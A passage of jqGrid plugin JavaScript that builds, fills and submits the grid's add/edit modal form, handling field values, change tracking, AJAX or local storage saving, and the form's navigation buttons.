this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].formedit, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend(true, { top : 0, left: 0, width: '500', datawidth: 'auto', height: 'auto', dataheight: 'auto', modal: false, overlay : 30, drag: true, resize: true, url: null, mtype : "POST", clearAfterAdd :true, closeAfterEdit : false, reloadAfterSubmit : true, onInitializeForm: null, beforeInitData: null, beforeShowForm: null, afterShowForm: null, beforeSubmit: null, afterSubmit: null, onclickSubmit: null, afterComplete: null, onclickPgButtons : null, afterclickPgButtons: null, editData : {}, recreateForm : false, jqModal : true, closeOnEscape : false, addedrow : "first", topinfo : '', bottominfo: '', saveicon : [], closeicon : [], savekey: [false,13], navkeys: [false,38,40], checkOnSubmit : false, checkOnUpdate : false, processing : false, onClose : null, ajaxEditOptions : {}, serializeEditData : null, viewPagerButtons : true, overlayClass : commonstyle.overlay, removemodal : true, form: 'edit', template : null, focusField : true, editselected : false, html5Check : false, buttons : [] }, regional, p || {}); rp_ge[$(this)[0].p.id] = p; return this.each(function(){ var $t = this; if (!$t.grid || !rowid) {return;} $t.p.savedData = {}; var gID = $t.p.id, frmgr = "FrmGrid_"+gID, frmtborg = "TblGrid_"+gID, frmtb = "#"+$.jgrid.jqID(frmtborg), frmtb2, IDs = {themodal:'editmod'+gID,modalhead:'edithd'+gID,modalcontent:'editcnt'+gID, scrollelm : frmgr}, showFrm = true, maxCols = 1, maxRows=0, postdata, diff, frmoper, templ = typeof rp_ge[$t.p.id].template === "string" && rp_ge[$t.p.id].template.length > 0, errors =$.jgrid.getRegional(this, 'errors'); rp_ge[$t.p.id].styleUI = $t.p.styleUI || 'jQueryUI'; if($.jgrid.isMobile()) { rp_ge[$t.p.id].resize = false; } if (rowid === "new") { rowid = "_empty"; frmoper = "add"; p.caption=rp_ge[$t.p.id].addCaption; } else { p.caption=rp_ge[$t.p.id].editCaption; frmoper = "edit"; } if(!p.recreateForm) { if( $($t).data("formProp") ) { $.extend(rp_ge[$(this)[0].p.id], $($t).data("formProp")); } } var closeovrl = true; if(p.checkOnUpdate && p.jqModal && !p.modal) { closeovrl = false; } function getFormData(){ var a2 ={}, i; $(frmtb).find(".FormElement").each(function() { var celm = $(".customelement", this); if (celm.length) { var elem = celm[0], nm = $(elem).attr('name'); $.each($t.p.colModel, function(){ if(this.name === nm && this.editoptions && $.jgrid.isFunction(this.editoptions.custom_value)) { try { let cvr = this.editoptions.custom_value.call($t, $("#"+$.jgrid.jqID(nm),frmtb),'get'); if( cvr === "#ignoreme#") { } else if (crv === undefined) { throw "e1"; } else { postdata[nm] = cvr; } } catch (e) { if (e==="e1") {$.jgrid.info_dialog(errors.errcap,"function 'custom_value' "+rp_ge[$(this)[0]].p.msg.novalue,rp_ge[$(this)[0]].p.bClose, {styleUI : rp_ge[$(this)[0]].p.styleUI });} else {$.jgrid.info_dialog(errors.errcap,e.message,rp_ge[$(this)[0]].p.bClose, {styleUI : rp_ge[$(this)[0]].p.styleUI });} } return true; } }); } else { switch ($(this).get(0).type) { case "checkbox": if($(this).is(":checked")) { postdata[this.name]= $(this).val(); } else { var ofv = $(this).attr("offval"); postdata[this.name]= ofv; } break; case "select-one": postdata[this.name]= $(this).val(); break; case "select-multiple": postdata[this.name]= $(this).val(); postdata[this.name] = postdata[this.name] ? postdata[this.name].join(",") : ""; break; case "radio" : if(a2.hasOwnProperty(this.name)) { return true; } else { a2[this.name] = ($(this).attr("offval") === undefined) ? "off" : $(this).attr("offval"); } break; default: postdata[this.name] = $(this).val(); } if($t.p.autoencode) { postdata[this.name] = $.jgrid.htmlEncode(postdata[this.name]); } } }); for(i in a2 ) { if( a2.hasOwnProperty(i)) { var val = $('input[name="'+i+'"]:checked',frmtb).val(); postdata[i] = (val !== undefined) ? val : a2[i]; if($t.p.autoencode) { postdata[i] = $.jgrid.htmlEncode(postdata[i]); } } } return true; } function createData(rowid,obj,tb,maxcols){ var nm, hc,trdata, cnt=0,tmp, dc,elc, retpos=[], ind=false, tdtmpl = "<td class='CaptionTD'></td><td class='DataTD'></td>", tmpl="", i, ffld; //*2 for (i =1; i<=maxcols;i++) { tmpl += tdtmpl; } if(rowid !== '_empty') { ind = $(obj).jqGrid("getInd",rowid); } $(obj.p.colModel).each( function(i) { nm = this.name; // hidden fields are included in the form if(this.editrules && this.editrules.edithidden === true) { hc = false; } else { hc = this.hidden === true ? true : false; } dc = hc ? "style='display:none'" : ""; if ( nm !== 'cb' && nm !== 'subgrid' && this.editable===true && nm !== 'rn' && nm!=='sc') { if(ind === false) { tmp = ""; } else { if(nm === obj.p.ExpandColumn && obj.p.treeGrid === true) { tmp = $("td[role='gridcell']",obj.rows[ind]).eq( i ).text(); } else { try { tmp = $.unformat.call(obj, $("td[role='gridcell']",obj.rows[ind]).eq( i ),{rowId:rowid, colModel:this},i); } catch (_) { tmp = (this.edittype && this.edittype === "textarea") ? $("td[role='gridcell']",obj.rows[ind]).eq( i ).text() : $("td[role='gridcell']",obj.rows[ind]).eq( i ).html(); } if(!tmp || tmp === " " || tmp === " " || (tmp.length===1 && tmp.charCodeAt(0)===160) ) {tmp='';} } } var opt = $.extend({}, this.editoptions || {} ,{id:nm,name:nm, rowId: rowid, oper:frmoper, module : 'form', checkUpdate : rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate}), frmopt = $.extend({}, {elmprefix:'',elmsuffix:'',rowabove:false,rowcontent:''}, this.formoptions || {}), rp = parseInt(frmopt.rowpos,10) || cnt+1, cp = parseInt((parseInt(frmopt.colpos,10) || 1)*2,10); if(rowid === "_empty" && opt.defaultValue ) { tmp = $.jgrid.isFunction(opt.defaultValue) ? opt.defaultValue.call($t) : opt.defaultValue; } if(!this.edittype) { this.edittype = "text"; } if($t.p.autoencode) { tmp = $.jgrid.htmlDecode(tmp); } elc = $.jgrid.createEl.call($t,this.edittype,opt,tmp,false,$.extend({},$.jgrid.ajaxOptions,obj.p.ajaxSelectOptions || {})); //if(tmp === "" && this.edittype == "checkbox") {tmp = $(elc).attr("offval");} //if(tmp === "" && this.edittype == "select") {tmp = $("option:eq(0)",elc).text();} if(this.edittype === "select") { tmp = $(elc).val(); if($(elc).get(0).type === 'select-multiple' && tmp) { tmp = tmp.join(","); } } if(this.edittype === 'checkbox') { if($(elc).is(":checked")) { tmp= $(elc).val(); } else { tmp = $(elc).attr("offval"); } } $(elc).addClass("FormElement"); if(this.edittype === 'select') { $(elc).addClass( styles.selectClass ); } else if( $.inArray(this.edittype, ['text','textarea','password', 'color', 'date', 'datetime', 'datetime-local','email','month', 'number','range', 'search', 'tel', 'time', 'url','week'] ) > -1) { $(elc).addClass( styles.inputClass ); } ffld = true; if(templ) { var ftmplfld = $(frm).find("#"+nm); if(ftmplfld.length){ ftmplfld.replaceWith( elc ); } else { ffld = false; } } else { //-------------------- trdata = $(tb).find("tr[rowpos="+rp+"]"); if(frmopt.rowabove) { var newdata = $("<tr><td class='contentinfo' colspan='"+(maxcols*2)+"'>"+frmopt.rowcontent+"</td></tr>"); $(tb).append(newdata); newdata[0].rp = rp; } if ( trdata.length===0 ) { if(maxcols > 1) { trdata = $("<tr rowpos='"+rp+"'></tr>").addClass("FormData").attr("id","tr_"+nm); } else { trdata = $("<tr "+dc+" rowpos='"+rp+"'></tr>").addClass("FormData").attr("id","tr_"+nm); } $(trdata).append(tmpl); $(tb).append(trdata); trdata[0].rp = rp; } $("td",trdata[0]).eq( cp-2 ).html("<label for='"+nm+"' class='" + styles.labelClass + "'>"+ (frmopt.label === undefined ? obj.p.colNames[i]: frmopt.label) + "</label>"); $("td",trdata[0]).eq( cp-1 ).append(frmopt.elmprefix).append(elc).append(frmopt.elmsuffix); if( maxcols > 1 && hc) { $("td",trdata[0]).eq( cp-2 ).hide(); $("td",trdata[0]).eq( cp-1 ).hide(); } //------------------------- } if( (rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) && ffld) { $t.p.savedData[nm] = tmp; } if(this.edittype==='custom' && $.jgrid.isFunction(opt.custom_value) ) { opt.custom_value.call($t, $("#"+nm, elc),'set',tmp); } $.jgrid.bindEv.call($t, elc, opt); retpos[cnt] = i; cnt++; } }); if( cnt > 0) { var idrow; if(templ) { idrow = "<div class='FormData' style='display:none'><input class='FormElement' id='id_g' type='text' name='"+obj.p.id+"_id' value='"+rowid+"'/>"; $(frm).append(idrow); } else { idrow = $("<tr class='FormData' style='display:none'><td class='CaptionTD'></td><td colspan='"+ (maxcols*2-1)+"' class='DataTD'><input class='FormElement' id='id_g' type='text' name='"+obj.p.id+"_id' value='"+rowid+"'/></td></tr>"); idrow[0].rp = cnt+999; $(tb).append(idrow); } //$(tb).append(idrow); if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { $t.p.savedData[obj.p.id+"_id"] = rowid; } } return retpos; } function fillData(rowid,obj,fmid){ var nm,cnt=0,tmp, fld,opt,vl,vlc; if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { $t.p.savedData = {}; $t.p.savedData[obj.p.id+"_id"]=rowid; } var cm = obj.p.colModel; if(rowid === '_empty') { $(cm).each(function(){ nm = this.name; opt = $.extend({}, this.editoptions || {} ); fld = $("#"+$.jgrid.jqID(nm),fmid); if(fld && fld.length && fld[0] !== null) { vl = ""; if(this.edittype === 'custom' && $.jgrid.isFunction(opt.custom_value)) { opt.custom_value.call($t, $("#"+nm,fmid),'set',vl); } else if(opt.defaultValue ) { vl = $.jgrid.isFunction(opt.defaultValue) ? opt.defaultValue.call($t) : opt.defaultValue; if(fld[0].type==='checkbox') { vlc = vl.toLowerCase(); if(vlc.search(/(false|f|0|no|n|off|undefined)/i)<0 && vlc!=="") { fld[0].checked = true; fld[0].defaultChecked = true; fld[0].value = vl; } else { fld[0].checked = false; fld[0].defaultChecked = false; } } else {fld.val(vl);} } else { if( fld[0].type==='checkbox' ) { fld[0].checked = false; fld[0].defaultChecked = false; vl = $(fld).attr("offval"); } else if (fld[0].type && fld[0].type.slice(0,6)==='select') { fld[0].selectedIndex = 0; } else { fld.val(vl); } } if(rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate) { $t.p.savedData[nm] = vl; } } }); $("#id_g",fmid).val(rowid); return; } var tre = $(obj).jqGrid("getInd",rowid,true); if(!tre) {return;} $('td[role="gridcell"]',tre).each( function(i) { nm = cm[i].name; // hidden fields are included in the form if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && cm[i].editable===true && nm !== 'sc') { if(nm === obj.p.ExpandColumn && obj.p.treeGrid === true) { tmp = $(this).text(); } else { try { tmp = $.unformat.call(obj, $(this),{rowId:rowid, colModel:cm[i]},i); } catch (_) { tmp = cm[i].edittype==="textarea" ? $(this).text() : $(this).html(); } } if($t.p.autoencode) {tmp = $.jgrid.htmlDecode(tmp);} if(rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate) { $t.p.savedData[nm] = tmp; } nm = $.jgrid.jqID(nm); switch (cm[i].edittype) { case "select": var opv = tmp.split(","); opv = $.map(opv,function(n){return $.jgrid.trim(n);}); $("#"+nm+" option",fmid).each(function(){ if (!cm[i].editoptions.multiple && ($.jgrid.trim(tmp) === $.jgrid.trim($(this).text()) || opv[0] === $.jgrid.trim($(this).text()) || opv[0] === $.jgrid.trim($(this).val())) ){ this.selected= true; } else if (cm[i].editoptions.multiple){ if( $.inArray($.jgrid.trim($(this).text()), opv ) > -1 || $.inArray($.jgrid.trim($(this).val()), opv ) > -1 ){ this.selected = true; }else{ this.selected = false; } } else { this.selected = false; } }); if(rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate) { tmp = $("#"+nm,fmid).val(); if(cm[i].editoptions.multiple) { tmp = tmp.join(","); } $t.p.savedData[nm] = tmp; } break; case "checkbox": tmp = String(tmp); if(cm[i].editoptions && cm[i].editoptions.value) { var cb = cm[i].editoptions.value.split(":"); if(cb[0] === tmp) { $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']({"checked":true, "defaultChecked" : true}); } else { $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']({"checked":false, "defaultChecked" : false}); } } else { tmp = tmp.toLowerCase(); if(tmp.search(/(false|f|0|no|n|off|undefined)/i)<0 && tmp!=="") { $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']("checked",true); $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']("defaultChecked",true); //ie } else { $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']("checked", false); $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']("defaultChecked", false); //ie } } if(rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate) { if($("#"+nm, fmid).is(":checked")) { tmp = $("#"+nm, fmid).val(); } else { tmp = $("#"+nm, fmid).attr("offval"); } $t.p.savedData[nm] = tmp; } break; case 'custom' : try { if(cm[i].editoptions && $.jgrid.isFunction(cm[i].editoptions.custom_value)) { cm[i].editoptions.custom_value.call($t, $("#"+nm, fmid),'set',tmp); } else {throw "e1";} } catch (e) { if (e==="e1") {$.jgrid.info_dialog(errors.errcap,"function 'custom_value' "+rp_ge[$(this)[0]].p.msg.nodefined,$.rp_ge[$(this)[0]].p.bClose, {styleUI : rp_ge[$(this)[0]].p.styleUI });} else {$.jgrid.info_dialog(errors.errcap,e.message,$.rp_ge[$(this)[0]].p.bClose, {styleUI : rp_ge[$(this)[0]].p.styleUI });} } break; default : if(tmp === " " || tmp === " " || (tmp.length===1 && tmp.charCodeAt(0)===160) ) {tmp='';} $("#"+nm,fmid).val(tmp); } cnt++; } }); if(cnt>0) { $("#id_g",frmtb).val(rowid); if( rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate ) { $t.p.savedData[obj.p.id+"_id"] = rowid; } } } function setNulls() { $.each($t.p.colModel, function(i,n){ if(n.editoptions && n.editoptions.NullIfEmpty === true) { if(postdata.hasOwnProperty(n.name) && postdata[n.name] === "") { postdata[n.name] = 'null'; } } }); } function postIt() { var copydata, ret=[true,"",""], onCS = {}, opers = $t.p.prmNames, idname, oper, key, selr, i, url; var retvals = $($t).triggerHandler("jqGridAddEditBeforeCheckValues", [postdata, $(frmgr), frmoper]); if(retvals && typeof retvals === 'object') {postdata = retvals;} if($.jgrid.isFunction(rp_ge[$t.p.id].beforeCheckValues)) { retvals = rp_ge[$t.p.id].beforeCheckValues.call($t, postdata, $(frmgr),frmoper); if(retvals && typeof retvals === 'object') {postdata = retvals;} } if(rp_ge[$t.p.id].html5Check) { if( !$.jgrid.validateForm(frm[0]) ) { return false; } } for( key in postdata ){ if(postdata.hasOwnProperty(key)) { ret = $.jgrid.checkValues.call($t,postdata[key],key); if(ret[0] === false) {break;} } } setNulls(); if(ret[0]) { onCS = $($t).triggerHandler("jqGridAddEditClickSubmit", [rp_ge[$t.p.id], postdata, frmoper]); if( onCS === undefined && $.jgrid.isFunction( rp_ge[$t.p.id].onclickSubmit)) { onCS = rp_ge[$t.p.id].onclickSubmit.call($t, rp_ge[$t.p.id], postdata, frmoper) || {}; } ret = $($t).triggerHandler("jqGridAddEditBeforeSubmit", [postdata, $(frmgr), frmoper]); if(ret === undefined) { ret = [true,"",""]; } if( ret[0] && $.jgrid.isFunction(rp_ge[$t.p.id].beforeSubmit)) { ret = rp_ge[$t.p.id].beforeSubmit.call($t,postdata,$(frmgr), frmoper); } } if(ret[0] && !rp_ge[$t.p.id].processing) { rp_ge[$t.p.id].processing = true; $("#sData", frmtb+"_2").addClass( commonstyle.active ); url = rp_ge[$t.p.id].url || $($t).jqGrid('getGridParam','editurl'); oper = opers.oper; idname = (url === 'clientArray' || url==='storage') ? $t.p.keyName : opers.id; // we add to pos data array the action - the name is oper postdata[oper] = ($.jgrid.trim(postdata[$t.p.id+"_id"]) === "_empty") ? opers.addoper : opers.editoper; if(postdata[oper] !== opers.addoper) { postdata[idname] = postdata[$t.p.id+"_id"]; } else { // check to see if we have allredy this field in the form and if yes lieve it if( postdata[idname] === undefined ) {postdata[idname] = postdata[$t.p.id+"_id"];} } delete postdata[$t.p.id+"_id"]; postdata = $.extend(postdata,rp_ge[$t.p.id].editData,onCS); if($t.p.treeGrid === true) { if(postdata[oper] === opers.addoper) { selr = $($t).jqGrid("getGridParam", 'selrow'); var tr_par_id = $t.p.treeGridModel === 'adjacency' ? $t.p.treeReader.parent_id_field : 'parent_id'; postdata[tr_par_id] = selr; } for(i in $t.p.treeReader){ if($t.p.treeReader.hasOwnProperty(i)) { var itm = $t.p.treeReader[i]; if(postdata.hasOwnProperty(itm)) { if(postdata[oper] === opers.addoper && i === 'parent_id_field') {continue;} delete postdata[itm]; } } } } postdata[idname] = $.jgrid.stripPref($t.p.idPrefix, postdata[idname]); var ajaxOptions = $.extend({ url: url, type: rp_ge[$t.p.id].mtype, data: $.jgrid.isFunction(rp_ge[$t.p.id].serializeEditData) ? rp_ge[$t.p.id].serializeEditData.call($t,postdata) : postdata, success:function(res,status,data){ var key; $("#sData", frmtb+"_2").removeClass( commonstyle.active ); postdata[idname] = $t.p.idPrefix + postdata[idname]; if(data.status >= 300 && data.status !== 304) { ret[0] = false; ret[1] = $($t).triggerHandler("jqGridAddEditErrorTextFormat", [data, frmoper]); if ($.jgrid.isFunction(rp_ge[$t.p.id].errorTextFormat)) { ret[1] = rp_ge[$t.p.id].errorTextFormat.call($t, data, frmoper); } else { ret[1] = status + " Status: '" + data.statusText + "'. Error code: " + data.status; } } else { // data is posted successful // execute aftersubmit with the returned data from server ret = $($t).triggerHandler("jqGridAddEditAfterSubmit", [data, postdata, frmoper]); if(ret === undefined) { ret = [true,"",""]; } if( ret[0] && $.jgrid.isFunction(rp_ge[$t.p.id].afterSubmit) ) { ret = rp_ge[$t.p.id].afterSubmit.call($t, data,postdata, frmoper); } } if(ret[0] === false) { $(".FormError",frmgr).html(ret[1]); $(".FormError",frmgr).show(); } else { if($t.p.autoencode) { $.each(postdata,function(n,v){ postdata[n] = $.jgrid.htmlDecode(v); }); } //rp_ge[$t.p.id].reloadAfterSubmit = rp_ge[$t.p.id].reloadAfterSubmit && $t.p.datatype != "local"; // the action is add if(postdata[oper] === opers.addoper ) { //id processing // user not set the id ret[2] if(!ret[2]) {ret[2] = $.jgrid.randId();} if(postdata[idname] == null || postdata[idname] === ($t.p.idPrefix + "_empty") || postdata[idname] === ""){ postdata[idname] = ret[2]; } else { ret[2] = postdata[idname]; } if(rp_ge[$t.p.id].reloadAfterSubmit) { $($t).trigger("reloadGrid"); } else { if($t.p.treeGrid === true){ $($t).jqGrid("addChildNode",ret[2],selr,postdata ); } else { $($t).jqGrid("addRowData",ret[2],postdata,p.addedrow); } } if(rp_ge[$t.p.id].closeAfterAdd) { if($t.p.treeGrid !== true){ $($t).jqGrid("setSelection",ret[2]); } $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); } else if (rp_ge[$t.p.id].clearAfterAdd) { fillData("_empty", $t, frmgr); } } else { // the action is update if(rp_ge[$t.p.id].reloadAfterSubmit) { $($t).trigger("reloadGrid"); if( !rp_ge[$t.p.id].closeAfterEdit ) {setTimeout(function(){$($t).jqGrid("setSelection",postdata[idname]);},1000);} } else { if($t.p.treeGrid === true) { $($t).jqGrid("setTreeRow", postdata[idname],postdata); } else { $($t).jqGrid("setRowData", postdata[idname],postdata); } } if(rp_ge[$t.p.id].closeAfterEdit) {$.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form});} } if( $.jgrid.isFunction(rp_ge[$t.p.id].afterComplete) || Object.prototype.hasOwnProperty.call($._data( $($t)[0], 'events' ), 'jqGridAddEditAfterComplete') ) { copydata = data; setTimeout(function(){ $($t).triggerHandler("jqGridAddEditAfterComplete", [copydata, postdata, $(frmgr), frmoper]); try { rp_ge[$t.p.id].afterComplete.call($t, copydata, postdata, $(frmgr), frmoper); } catch(excacmp) { //do nothing } copydata=null; },500); } if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { $(frmgr).data("disabled",false); if($t.p.savedData[$t.p.id+"_id"] !== "_empty"){ for(key in $t.p.savedData) { if($t.p.savedData.hasOwnProperty(key) && postdata[key]) { $t.p.savedData[key] = postdata[key]; } } } } } rp_ge[$t.p.id].processing=false; try{$(':input:visible',frmgr)[0].focus();} catch (e){} } }, $.jgrid.ajaxOptions, rp_ge[$t.p.id].ajaxEditOptions ); if (!ajaxOptions.url && !rp_ge[$t.p.id].useDataProxy) { if ($.jgrid.isFunction($t.p.dataProxy)) { rp_ge[$t.p.id].useDataProxy = true; } else { ret[0]=false;ret[1] += " "+errors.nourl; } } if (ret[0]) { if (rp_ge[$t.p.id].useDataProxy) { var dpret = $t.p.dataProxy.call($t, ajaxOptions, "set_"+$t.p.id); if(dpret === undefined) { dpret = [true, ""]; } if(dpret[0] === false ) { ret[0] = false; ret[1] = dpret[1] || "Error processing the row!" ; } else { if(ajaxOptions.data.oper === opers.addoper && rp_ge[$t.p.id].closeAfterAdd ) { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); } if(ajaxOptions.data.oper === opers.editoper && rp_ge[$t.p.id].closeAfterEdit ) { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); } } } else { if(ajaxOptions.url === "clientArray") { rp_ge[$t.p.id].reloadAfterSubmit = false; postdata = ajaxOptions.data; ajaxOptions.success(postdata,'',{status:200, statusText:''}); } else if(ajaxOptions.url === "storage"){ if(postdata[oper] === opers.addoper) { if(postdata[idname] === "_empty") { postdata[idname] = ""; } $($t).jqGrid('addStorageRecord', postdata) .then(function(e){ if(e.type==="complete") { ajaxOptions.success(postdata,'',{status:200, statusText:''}); } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } else if(postdata[oper] === opers.editoper) { $($t).jqGrid('updateStorageRecord', postdata) .then(function(e){ if(e.type==="complete") { ajaxOptions.success(postdata,'',{status:200, statusText:''}); } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } } else { $.ajax(ajaxOptions); } } } } if(ret[0] === false) { $(frmgr).scrollTop(0); $(".FormError",frmgr).html(ret[1]); $(".FormError",frmgr).show(); // return; } } function compareData(nObj, oObj ) { var ret = false,key; ret = !( $.isPlainObject(nObj) && $.isPlainObject(oObj) && Object.getOwnPropertyNames(nObj).length === Object.getOwnPropertyNames(oObj).length); if(!ret) { for (key in oObj) { if(oObj.hasOwnProperty(key) ) { if(nObj.hasOwnProperty(key) ) { if( nObj[key] !== oObj[key] ) { ret = true; break; } } else { ret = true; break; } } } } return ret; } function checkUpdates () { var stat = true; $(".FormError",frmgr).hide(); if(rp_ge[$t.p.id].checkOnUpdate) { postdata = {}; getFormData(); diff = compareData(postdata, $t.p.savedData); if(diff) { $(frmgr).data("disabled",true); $(".confirm","#"+IDs.themodal).show(); stat = false; } } return stat; } function restoreInline() { var i; if (rowid !== "_empty" && $t.p.savedRow !== undefined && $t.p.savedRow.length > 0 && $.jgrid.isFunction($.fn.jqGrid.restoreRow)) { for (i=0;i<$t.p.savedRow.length;i++) { if ($t.p.savedRow[i].id === rowid) { $($t).jqGrid('restoreRow',rowid); break; } } } } function updateNav(cr, posarr){ var totr = posarr[1].length-1; if (cr===0) { $("#pData",frmtb2).addClass( commonstyle.disabled ); } else if( posarr[1][cr-1] !== undefined && $("#"+$.jgrid.jqID(posarr[1][cr-1])).hasClass( commonstyle.disabled )) { $("#pData",frmtb2).addClass( commonstyle.disabled ); } else { $("#pData",frmtb2).removeClass( commonstyle.disabled ); } if (cr===totr) { $("#nData",frmtb2).addClass( commonstyle.disabled ); } else if( posarr[1][cr+1] !== undefined && $("#"+$.jgrid.jqID(posarr[1][cr+1])).hasClass( commonstyle.disabled )) { $("#nData",frmtb2).addClass( commonstyle.disabled ); } else { $("#nData",frmtb2).removeClass( commonstyle.disabled ); } } function getCurrPos() { var rowsInGrid = $($t).jqGrid("getDataIDs"), selrow = $("#id_g",frmtb).val(), pos; if($t.p.multiselect && rp_ge[$t.p.id].editselected) { var arr = []; for(var i=0, len = rowsInGrid.length;i<len;i++) { if($.inArray(rowsInGrid[i],$t.p.selarrrow) !== -1) { arr.push(rowsInGrid[i]); } } pos = $.inArray(selrow,arr); return [pos, arr]; } else { pos = $.inArray(selrow,rowsInGrid); } return [pos,rowsInGrid]; } function parseTemplate ( template ){ var tmpl =""; if(typeof template === "string") { tmpl = template.replace(/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g, function(m,i){ return '<span id="'+ i+ '" ></span>'; }); } return tmpl; } function syncSavedData () { if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { var a1=[], a2={}; a1 = $.map($t.p.savedData, function(v, i){ return i; }); $(".FormElement", frm ).each(function(){ if( $.jgrid.trim(this.name) !== "" && a1.indexOf(this.name) === -1 ) { var tv = $(this).val(), tt = $(this).get(0).type; if( tt === 'checkbox') { if(!$(this).is(":checked")) { tv = $(this).attr("offval"); } } else if(tt === 'select-multiple') { tv = tv.join(","); } else if(tt === 'radio') { if(a2.hasOwnProperty(this.name)) { return true; } else { a2[this.name] = ($(this).attr("offval") === undefined) ? "off" : $(this).attr("offval"); } } $t.p.savedData[this.name] = tv; } }); for(var i in a2 ) { if( a2.hasOwnProperty(i)) { var val = $('input[name="'+i+'"]:checked',frm).val(); $t.p.savedData[i] = (val !== undefined) ? val : a2[i]; } } } } var dh = isNaN(rp_ge[$(this)[0].p.id].dataheight) ? rp_ge[$(this)[0].p.id].dataheight : rp_ge[$(this)[0].p.id].dataheight+"px", dw = isNaN(rp_ge[$(this)[0].p.id].datawidth) ? rp_ge[$(this)[0].p.id].datawidth : rp_ge[$(this)[0].p.id].datawidth+"px", frm = $("<form name='FormPost' id='"+frmgr+"' class='FormGrid' onSubmit='return false;' style='width:"+dw+";height:"+dh+";'></form>").data("disabled",false), tbl; if(templ) { tbl = parseTemplate( rp_ge[$(this)[0].p.id].template ); frmtb2 = frmtb; } else { tbl = $("<table id='"+frmtborg+"' class='EditTable ui-common-table'><tbody></tbody></table>"); frmtb2 = frmtb+"_2"; } frmgr = "#"+ $.jgrid.jqID(frmgr); // errors $(frm).append("<div class='FormError " + commonstyle.error + "' style='display:none;'></div>" ); // topinfo $(frm).append("<div class='tinfo topinfo'>"+rp_ge[$t.p.id].topinfo+"</div>"); $($t.p.colModel).each( function() { var fmto = this.formoptions; maxCols = Math.max(maxCols, fmto ? fmto.colpos || 0 : 0 ); maxRows = Math.max(maxRows, fmto ? fmto.rowpos || 0 : 0 ); }); $(frm).append(tbl); showFrm = $($t).triggerHandler("jqGridAddEditBeforeInitData", [frm, frmoper]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(rp_ge[$t.p.id].beforeInitData)) { showFrm = rp_ge[$t.p.id].beforeInitData.call($t,frm, frmoper); } if(showFrm === false) {return;} restoreInline(); // set the id. // use carefull only to change here colproperties. // create data createData(rowid,$t,tbl,maxCols); // buttons at footer var rtlb = $t.p.direction === "rtl" ? true :false, bp = rtlb ? "nData" : "pData", bn = rtlb ? "pData" : "nData"; var bP = "<a id='"+bp+"' class='fm-button " + commonstyle.button + "'><span class='" + commonstyle.icon_base + " " + styles.icon_prev+ "'></span></a>", bN = "<a id='"+bn+"' class='fm-button " + commonstyle.button + "'><span class='" + commonstyle.icon_base + " " + styles.icon_next+ "'></span></a>", bS ="<a id='sData' class='fm-button " + commonstyle.button + "'>"+p.bSubmit+"</a>", bC ="<a id='cData' class='fm-button " + commonstyle.button + "'>"+p.bCancel+"</a>", user_buttons = ( Array.isArray( rp_ge[$t.p.id].buttons ) ? $.jgrid.buildButtons( rp_ge[$t.p.id].buttons, bS + bC, commonstyle ) : bS + bC ); var bt = "<table style='height:auto' class='EditTable ui-common-table' id='"+frmtborg+"_2'><tbody><tr><td colspan='2'><hr class='"+commonstyle.content+"' style='margin:1px'/></td></tr><tr id='Act_Buttons'><td class='navButton'>"+(rtlb ? bN+bP : bP+bN)+"</td><td class='EditButton'>"+ user_buttons +"</td></tr>"; //bt += "<tr style='display:none' class='binfo'><td class='bottominfo' colspan='2'>"+rp_ge[$t.p.id].bottominfo+"</td></tr>"; bt += "</tbody></table>"; if(maxRows > 0) { var sd=[]; $.each($(tbl)[0].rows,function(i,r){ sd[i] = r; }); sd.sort(function(a,b){ if(a.rp > b.rp) {return 1;} if(a.rp < b.rp) {return -1;} return 0; }); $.each(sd, function(index, row) { $('tbody',tbl).append(row); }); } p.gbox = 